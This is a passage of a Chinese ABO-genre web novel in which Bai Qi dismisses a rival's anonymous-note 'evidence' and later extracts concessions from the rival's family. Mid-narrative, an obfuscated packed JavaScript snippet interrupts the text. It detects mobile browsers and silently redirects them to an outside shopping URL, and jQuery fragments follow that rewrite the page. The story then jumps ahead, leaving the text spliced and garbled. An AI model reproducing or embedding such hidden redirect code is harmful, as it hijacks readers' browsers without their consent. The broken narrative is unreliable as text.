夏思博虽然没有被蛇咬,但也因惊吓过度,导致发情热提前,被送往Omega专属医院救治。
一封装有便条的信就这么悄无声息出现在了他的床头,一睁眼就能看到。
本来按照夏思博急躁狡诈的性格,对于出现在床头的信本应该很警惕。
但那天他也说不清是什么缘故,鬼使神差之下就打开了信封,里面就只有一句话。
“想必你也很讨厌白祁吧?”白祁拿着夏思博提供的所谓证据,一字一句念道。
洁白的纸上只有这一句话。
他拿着纸翻来覆去看了几遍。
当时夏思博的反应也是如此,莫名其妙的信让他觉得被戏耍,没有落款,也只是一句没头脑的话。
发情热的暴躁险些让他撕毁了信件。忽然他在纸张处于某个特有角度折射的反光点发现了不同寻常。
一张薄如蝉翼,且极小的贴片。
意识到那是什么,夏思博心如捣鼓。
他将信封藏的很好,等待时机。终于,在他看到白祁和某位Beta跳舞时,他怦然心动,机会来了。
指节不经意触碰到了白祁颈部裸露的皮肤。
一切变得理所当然。
“你怎么能证明你说的是真话?”白祁似笑非笑,眼神中对他充满了不信任。
夏思博的心沉了一瞬。如惊弓之鸟的他敏锐察觉到室温正在逐渐降低。被恐惧的支配感冒上心头,他慌忙说道,“有的!有证据的!”
“事后我让人查过医院的监控,在我住院的那天晚上有过短暂的黑屏,一定是那个时候有人放进来的,白祁,你相信我吧,求求你不要把我供出去。”夏思博低声哀求。
除了害怕那不知名的怪物,想要得到白祁宽恕之外,夏思博还想到不久后Omega协会找上他谈话,甚至还可能护卫队也会来!
那他这辈子就毁了!
夏思博惊恐的喃喃自语,丝毫没发现白祁的眼神闪烁。
“…好啊。”白祁笑了一下,将夏思博送了出去。
关上门后,他反复看着那张纸,纸上的字是激光打印的,如果真的有那么一位对他心怀怨恨的Omega必定不会暴露自己的身份。
白祁将纸透过灯光瞧了瞧,薄如蝉翼,又放在鼻尖嗅了嗅,只剩下夏思博的信息素。
他嗤的笑了一声就将纸扔进了壁炉中。
比起夏思博所说的一切,他更好奇窗户究竟是如何碎的。
他抱着胳膊,食指轻轻点了点另一只手臂。
之后几天白祁先后收到信息,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111586|195871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏文博没死,但眼睛瞎了,有一颗特别长的玻璃刺穿了他的眼睛。
白祁有遗憾,没能直接刺穿大脑,如果让他来,肯定会更用力一些。
确定夏文博没有生命危险后,夏家急转枪头,想要威逼利诱,让白祁保住夏文博。白祁自然不肯轻易妥协,几番磋磨之下,最终夏家答应利益割让。白祁顺利接受了Omega协会的谈话。
一切被定性成意外发情,身为哥哥的夏文博送他回房休息,不慎遭遇意外。
本来白祁也没打算和慎如心撕破脸,索性见好就收。
接连几个亲外甥受伤出事,慎如心也没了心思揪着连以观的遗产不放。就算她再想做什么,也不敢轻举妄动。
白祁这人…太诡异了。
和他接触的人没有好下场!
Omega协会的人一走,她就将白祁一同撵走了。
白祁从斯瓦诺拉家出来,搭上了墨晴的飞行器,前往三区金融圈。
从16区回来后,墨晴就被他派出去筹备成立公司的事宜。
公司落址在三区的金融大厦,位于22楼。白祁的计划是在公司转一圈,便回家。结果因为一个不定因素打乱了他的计划。
他在公司楼下遇到了一个绝对意想不到的人——一休。